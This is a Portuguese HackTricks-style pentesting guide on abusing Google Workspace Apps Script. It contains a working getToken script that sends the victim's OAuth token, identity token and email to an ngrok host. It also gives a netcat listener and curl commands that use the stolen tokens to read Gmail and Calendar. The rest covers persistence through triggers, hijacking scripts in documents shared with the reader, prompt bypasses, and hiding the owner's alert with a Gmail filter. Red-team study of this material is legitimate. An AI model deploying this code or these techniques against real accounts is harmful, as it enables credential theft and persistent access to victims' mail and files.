GWS - App Scripts

Support HackTricks

App Scripts

App Scripts é código que será acionado quando um usuário com permissão de editor acessar o documento ao qual o App Script está vinculado e após aceitar o prompt OAuth. Eles também podem ser configurados para serem executados a cada certo tempo pelo proprietário do App Script (Persistência).

Criar App Script

Existem várias maneiras de criar um App Script, embora as mais comuns sejam a partir de um Documento Google (de qualquer tipo) e como um projeto independente:

Criar um projeto vinculado a um contêiner a partir do Google Docs, Sheets ou Slides
  1. Abra um documento Docs, uma planilha Sheets ou uma apresentação Slides.

  2. Clique em Extensões > Google Apps Script.

  3. No editor de scripts, clique em Projeto sem título.

  4. Dê um nome ao seu projeto e clique em Renomear.

Criar um projeto independente

Para criar um projeto independente a partir do Apps Script:

  1. Clique em Novo Projeto.

  2. No editor de scripts, clique em Projeto sem título.

  3. Dê um nome ao seu projeto e clique em Renomear.

Criar um projeto independente a partir do Google Drive
  1. Clique em Novo > Mais > Google Apps Script.

Criar um projeto vinculado a um contêiner a partir do Google Forms
  1. Abra um formulário no Google Forms.

  2. Clique em Mais more_vert > Editor de script.

  3. No editor de scripts, clique em Projeto sem título.

  4. Dê um nome ao seu projeto e clique em Renomear.

Criar um projeto independente usando a ferramenta de linha de comando clasp

clasp é uma ferramenta de linha de comando que permite criar, puxar/push e implantar projetos do Apps Script a partir de um terminal.

Veja o Guia da Interface de Linha de Comando usando clasp para mais detalhes.

Cenário do App Script

Criar Google Sheet com App Script

Comece criando um App Script, minha recomendação para este cenário é criar uma Google Sheet e ir para Extensões > App Scripts, isso abrirá um novo App Script para você vinculado à planilha.

Token de vazamento

Para dar acesso ao token OAuth, você precisa clicar em Serviços + e adicionar escopos como:

  • AdminDirectory: Acessar usuários e grupos do diretório (se o usuário tiver permissões suficientes)

  • Gmail: Para acessar dados do gmail

  • Drive: Para acessar dados do drive

  • Google Sheets API: Para que funcione com o gatilho

Para alterar você mesmo as escopos necessárias, você pode ir para as configurações do projeto e habilitar: Mostrar arquivo de manifesto "appsscript.json" no editor.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Para capturar a solicitação, você pode simplesmente executar:

ngrok tcp 4444
nc -lv 4444 #macOS

Permissões solicitadas para executar o App Script:

Como uma solicitação externa é feita, o prompt do OAuth também pedirá permissão para acessar endpoints externos.

Criar Gatilho

Uma vez que o App é lido, clique em ⏰ Gatilhos para criar um gatilho. Como função a ser executada, escolha getToken, execute na implantação Head, na fonte do evento selecione From spreadsheet e no tipo de evento selecione On open ou On edit (de acordo com suas necessidades) e salve.

Observe que você pode verificar as execuções dos App Scripts na aba Executions se quiser depurar algo.

Compartilhamento

Para disparar o App Script, a vítima precisa se conectar com Acesso de Editor.

O token usado para executar o App Script será o do criador do gatilho, mesmo que o arquivo seja aberto como Editor por outros usuários.

Abusando de documentos Compartilhados Comigo

Se alguém compartilhou com você um documento com App Scripts e um gatilho usando o Head do App Script (não uma implantação fixa), você pode modificar o código do App Script (adicionando, por exemplo, as funções de roubo de token), acessá-lo, e o App Script será executado com as permissões do usuário que compartilhou o documento com você! (note que o token OAuth do proprietário terá como escopos de acesso os que foram dados quando o gatilho foi criado).

Uma notificação será enviada ao criador do script indicando que alguém modificou o script (Que tal usar permissões do gmail para gerar um filtro para prevenir o alerta?)

Se um atacante modificar os escopos do App Script, as atualizações não serão aplicadas ao documento até que um novo gatilho com as mudanças seja criado. Portanto, um atacante não poderá roubar o token do proprietário criador com mais escopos do que o que ele definiu no gatilho que criou.

Copiando em vez de compartilhar

Quando você cria um link para compartilhar um documento, um link semelhante a este é criado: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Se você mudar o final "/edit" para "/copy", em vez de acessá-lo, o google perguntará se você deseja gerar uma cópia do documento:

Se o usuário copiá-lo e acessá-lo, tanto o conteúdo do documento quanto os App Scripts serão copiados, no entanto, os gatilhos não são, portanto nada será executado.

Compartilhando como Aplicação Web

Observe que também é possível compartilhar um App Script como uma aplicação Web (no Editor do App Script, implantar como uma aplicação Web), mas um alerta como este aparecerá:

Seguido pelo típico prompt do OAuth pedindo as permissões necessárias.

Testando

Você pode testar um token coletado para listar e-mails com:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Liste o calendário do usuário:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script como Persistência

Uma opção para persistência seria criar um documento e adicionar um gatilho para a função getToken e compartilhar o documento com o atacante para que toda vez que o atacante abrir o arquivo, ele exfiltre o token da vítima.

Também é possível criar um App Script e fazê-lo ser acionado a cada X tempo (como a cada minuto, hora, dia...). Um atacante que tenha credenciais comprometidas ou uma sessão de uma vítima poderia configurar um gatilho de tempo do App Script e vazar um token OAuth muito privilegiado todos os dias:

Basta criar um App Script, ir para Gatilhos, clicar em Adicionar Gatilho e selecionar como fonte de evento Acionado pelo tempo e escolher as opções que melhor se adequam a você:

Isso criará um e-mail de alerta de segurança e uma mensagem push para o seu celular alertando sobre isso.

Bypass de Prompt Não Verificado de Documento Compartilhado

Além disso, se alguém compartilhou com você um documento com acesso de editor, você pode gerar App Scripts dentro do documento e o PROPRIETÁRIO (criador) do documento será o proprietário do App Script.

Isso significa que o criador do documento aparecerá como criador de qualquer App Script que qualquer um com acesso de editor criar dentro dele.

Isso também significa que o App Script será confiável pelo ambiente do Workspace do criador do documento.

Isso também significa que se um App Script já existia e as pessoas concederam acesso, qualquer um com permissão de Editor no documento pode modificá-lo e abusar desse acesso. Para abusar disso, você também precisa que as pessoas acionem o App Script. E um truque interessante é publicar o script como um aplicativo da web. Quando as pessoas que já concederam acesso ao App Script acessam a página da web, elas acionarão o App Script (isso também funciona usando tags <img>).

Support HackTricks

Last updated